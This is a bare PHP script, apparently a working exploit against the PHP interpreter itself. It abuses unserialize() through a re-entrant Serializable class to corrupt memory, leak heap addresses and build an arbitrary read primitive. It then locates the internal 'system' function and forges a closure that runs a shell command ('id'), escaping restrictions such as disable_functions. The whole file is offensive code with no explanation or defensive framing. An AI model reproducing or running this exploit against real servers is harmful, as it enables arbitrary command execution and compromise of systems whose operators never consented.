<?php
error_reporting(0);
class C implements Serializable{function serialize():string{return'';}function unserialize(string $d):void{unserialize($d)->x=0;}}
$GLOBALS['_cl']=function(){};
class X{
const L=280,N=32,P=8,CE=0x10,HA=0x18,CF=0x38,HH=0x58,HM=0x0C,HD=0x10,BS=32,BV=0,BH=16,BK=24,MO=0x60,MF=0x28,FS=0x30;
private $AM,$DM;
function __construct(){if(php_uname('m')==='aarch64'||php_uname('m')==='arm64'){$this->AM=0xFFFFFFFFFFFF;$this->DM=0x600;}else{$this->AM=0x7FFFFFFFFFFF;$this->DM=0x300;}}
function i(){$p='';for($k=0;$k<self::P;$k++){$n="p$k";$p.='s:'.strlen($n).':"'.$n.'";i:'.(0xAAAA0000+$k).';';}return 'O:8:"stdClass":'.self::P.':{'.$p.'}';}
function l($m=0xBBBB0000){$s=str_repeat("\0",self::L);for($k=0;$k<8;$k++){$v=8+$k*32;$t=$v+8;if($t+4>self::L)break;$x=$m+$k;$s[$v]=chr($x&255);$s[$v+1]=chr(($x>>8)&255);$s[$v+2]=chr(($x>>16)&255);$s[$v+3]=chr(($x>>24)&255);$s[$v+4]=$s[$v+5]=$s[$v+6]=$s[$v+7]="\0";$s[$t]="\4";$s[$t+1]=$s[$t+2]=$s[$t+3]="\0";}return$s;}
function s($a){$s=str_repeat("\0",self::L);$v=40;$b=pack('P',$a);for($i=0;$i<8;$i++)$s[$v+$i]=$b[$i];$t=$v+8;$s[$t]="\6";$s[$t+1]=$s[$t+2]=$s[$t+3]="\0";for($k=0;$k<8;$k++){if($k==1)continue;$v=8+$k*32;$t=$v+8;if($t+4>self::L)break;$s[$t]="\4";$s[$t+1]=$s[$t+2]=$s[$t+3]="\0";}return$s;}
function o($a){$s=str_repeat("\0",self::L);$v=40;$b=pack('P',$a);for($i=0;$i<8;$i++)$s[$v+$i]=$b[$i];$t=$v+8;$s[$t]="\10";$s[$t+1]="\3";$s[$t+2]=$s[$t+3]="\0";for($k=0;$k<8;$k++){if($k==1)continue;$v=8+$k*32;$t=$v+8;if($t+4>self::L)break;$s[$t]="\4";$s[$t+1]=$s[$t+2]=$s[$t+3]="\0";}return$s;}
function p($sp,$nr=1){$in=$this->i();$c='C:1:"C":'.strlen($in).':{'.$in.'}';$tot=1+self::N+$nr;$pa=['i:0;'.$c];for($i=0;$i<self::N;$i++)$pa[]='i:'.($i+1).';s:'.self::L.':"'.$sp.'";';for($k=0;$k<$nr;$k++)$pa[]='i:'.(self::N+1+$k).';R:'.(4+$k).';';return'a:'.$tot.':{'.implode('',$pa).'}';}
function r($a,$n=8){foreach([0,8,16,32,64,128,256,512]as$b){$t=$a-24-$b;if($t<0x1000)continue;$z=@unserialize($this->p($this->s($t),1));if($z===false)continue;$st=$z[self::N+1];if(!is_string($st))continue;if(strlen($st)<=$b+$n-1)continue;$o=substr($st,$b,$n);if(strlen($o)>=$n)return$o;}return false;}
function q($a){$d=$this->r($a,8);return$d===false||strlen($d)<8?false:unpack('P',$d)[1];}
function qr($a){for($i=0;$i<3;$i++){ $v=$this->q($a);if($v!==false)return$v;}return false;}
function zh($k){$h=5381;for($i=0;$i<strlen($k);$i++)$h=(($h<<5)+$h)+ord($k[$i]);return$h|(1<<63);}
function hf($ad,$m,$k){$h=$this->zh($k);$ni=(($h&0xffffffff)|$m)&0xffffffff;if($ni>=0x80000000)$ni-=0x100000000;$d=$this->r($ad+$ni*4,4);if($d===false)return false;$idx=unpack('V',$d)[1];if($idx===0xffffffff)return false;$kl=strlen($k);for($c=0;$c<16;$c++){$ba=$ad+$idx*self::BS;$bu=$this->r($ba,self::BS);if($bu===false)return false;$kp=unpack('P',substr($bu,self::BK,8))[1];if($kp){$kd=$this->r($kp+16,8+$kl);if($kd!==false){$sl=unpack('P',substr($kd,0,8))[1];if($sl==$kl&&substr($kd,8,$kl)===$k)return$bu;}}$nx=unpack('V',substr($bu,12,4))[1];if($nx===0xffffffff)return false;$idx=$nx;}return false;}
function ht($h,$k){$ad=$this->qr($h+self::HD);if($ad===false)return false;$d=$this->r($h+self::HM,4);if($d===false)return false;return$this->hf($ad,unpack('V',$d)[1],$k);}
function heap(){$sp=$this->l();$orig=$sp;$z=@unserialize($this->p($sp,self::P));if($z===false)die("hleak fail\n");for($i=1;$i<=self::N;$i++){$s=$z[$i];for($k=0;$k<self::P;$k++){$v=8+($k+1)*32;if(substr($s,$v,8)!==substr($orig,$v,8))return unpack('P',substr($s,$v,8))[1];}}die("no leak\n");}
function obj($ha){$ch=$ha&0xFFFFFFFFFFE00000;for($i=0;$i<256;$i++)$GLOBALS["_s$i"]=function(){};for($a=0;$a<3;$a++){$z=@unserialize($this->p($this->s($ch-16),1));if($z===false)continue;$st=$z[self::N+1];if(!is_string($st)||strlen($st)<0x10000)continue;$mx=min(strlen($st),0x200000-8);$ps=[];for($o=8;$o+32<=$mx;$o+=16){$rc=unpack('V',substr($st,$o,4))[1];if($rc<1||$rc>50)continue;if((ord($st[$o+4])&15)!=8)continue;$hn=unpack('V',substr($st,$o+8,4))[1];if(!$hn||$hn>100000)continue;if(unpack('V',substr($st,$o+12,4))[1])continue;$ce=unpack('P',substr($st,$o+16,8))[1];$hh=unpack('P',substr($st,$o+24,8))[1];if(!$ce||!$hh)continue;if(($hh&(~0x1fffff))==$ch)continue;if($hh<0x10000||$hh>$this->AM)continue;$key=sprintf("%x",$hh);if(!isset($ps[$key]))$ps[$key]=[$ce,$hh,0];$ps[$key][2]++;}if($ps){usort($ps,fn($a,$b)=>$b[2]<=>$a[2]);return[$ps[0][0],$ps[0][1]];}}return false;}
function ft($hh){for($d=0x20;$d<$this->DM;$d+=8)foreach([0x1b0,0x1c8]as$fo){$p=$hh+$d+$fo;$x=$this->r($p,24);if($x===false)continue;$ft=unpack('P',substr($x,0,8))[1];$ct=unpack('P',substr($x,8,8))[1];$zc=unpack('P',substr($x,16,8))[1];if($ft<0x10000||$ft>$this->AM||$ct<0x10000||$ct>$this->AM||$zc<0x10000||$zc>$this->AM)continue;if(abs($ft-$ct)>0x1000000||abs($ct-$zc)>0x1000000)continue;$hd=$this->r($ft+self::HM,16);if($hd===false)continue;$m=unpack('V',substr($hd,0,4))[1];$ad=unpack('P',substr($hd,4,8))[1];$nu=unpack('V',substr($hd,12,4))[1];$pos=(~$m+1)&0xffffffff;if($pos<64||($pos&($pos-1))||$ad<0x10000||$ad>$this->AM||$nu<100||$nu>10000)continue;return[$ft,$ad,$m,$d,$fo];}return false;}
function st($hh,$cmb){foreach([0x1b0,0x1c8]as$fo){$d=$cmb-$fo;if($d<0)continue;$st=$hh+$d+0x130;$x=$this->r($st+self::HM,16);if($x===false)continue;$m=unpack('V',substr($x,0,4))[1];$ad=unpack('P',substr($x,4,8))[1];$nu=unpack('V',substr($x,12,4))[1];$p=(~($m&0xffffffff)+1)&0xffffffff;if(($m&0xffffffff)<0xffff0000||($p&($p-1))||$p<4||$ad<0x10000||$nu>500)continue;return$st;}return false;}
function rs($a,$n=32){$d=$this->r($a,$n);if($d===false)return false;$s='';for($i=0;$i<strlen($d);$i++){$c=ord($d[$i]);if(!$c)break;if($c>=32&&$c<=126)$s.=chr($c);else return false;}return$s;}
function sys($ad,$m){$mp=false;foreach(['var_dump','array_push','phpversion','getenv','strtolower']as$f){$b=$this->hf($ad,$m,$f);if($b===false)continue;$fp=unpack('P',substr($b,0,8))[1];$c=$this->qr($fp+self::MO);if($c===false||$c<0x10000||$c>$this->AM)continue;$np=$this->qr($c+0x20);if($np!==false&&$this->rs($np,16)==='standard'){$mp=$c;break;}}if($mp===false)return false;$fs=$this->qr($mp+self::MF);if($fs===false)return false;for($j=0;$j<600;$j++){$e=$fs+$j*self::FS;$np=$this->qr($e);if($np===false||!$np)break;if($this->rs($np,16)==='system')return$this->qr($e+8);}return false;}
function fc($ce,$hh,$sh){$b=str_repeat("\0",512);$w=function(&$B,$o,$d){for($i=0;$i<strlen($d);$i++)$B[$o+$i]=$d[$i];};$w($b,0,pack('V',0x7fffffff));$w($b,4,pack('V',0x18));$w($b,self::CE,pack('P',$ce));$w($b,self::HA,pack('P',$hh));$w($b,self::CF,chr(1));$w($b,0x58,pack('V',1));$w($b,0x5c,pack('V',1));$w($b,self::CF+self::HH,pack('P',$sh));return$b;}
function vs($st,$n){$b=$this->ht($st,$n);if($b===false)return false;$t=ord($b[8]);$v=unpack('P',substr($b,0,8))[1];if($t==6)return$v;if($t==10){$x=$this->r($v+8,16);if($x!==false&&ord($x[8])==6)return unpack('P',substr($x,0,8))[1];}return false;}
function run(){$cmd='id';echo"R\n";$ha=$this->heap();echo"H\n";$p=$this->obj($ha);if($p===false)die("obj fail\n");[$ce,$hh]=$p;echo"O\n";$ft=$this->ft($hh);if($ft===false)die("ft fail\n");[$fth,$ad,$m,$d,$fo]=$ft;$st=$this->st($hh,$d+$fo);if($st===false)die("st fail\n");echo"F\n";$sh=$this->sys($ad,$m);if($sh===false)die("sys fail\n");echo"S\n";$GLOBALS['_xfc']=$this->fc($ce,$hh,$sh);$sp=$this->vs($st,'_xfc');if($sp===false)die("xfc fail\n");$z=@unserialize($this->p($this->o($sp+24),1));$idx=self::N+1;if(!is_object($z[$idx]))die("not obj ".gettype($z[$idx])."\n");echo"GO\n";$z[$idx]($cmd);}
}
(new X)->run();
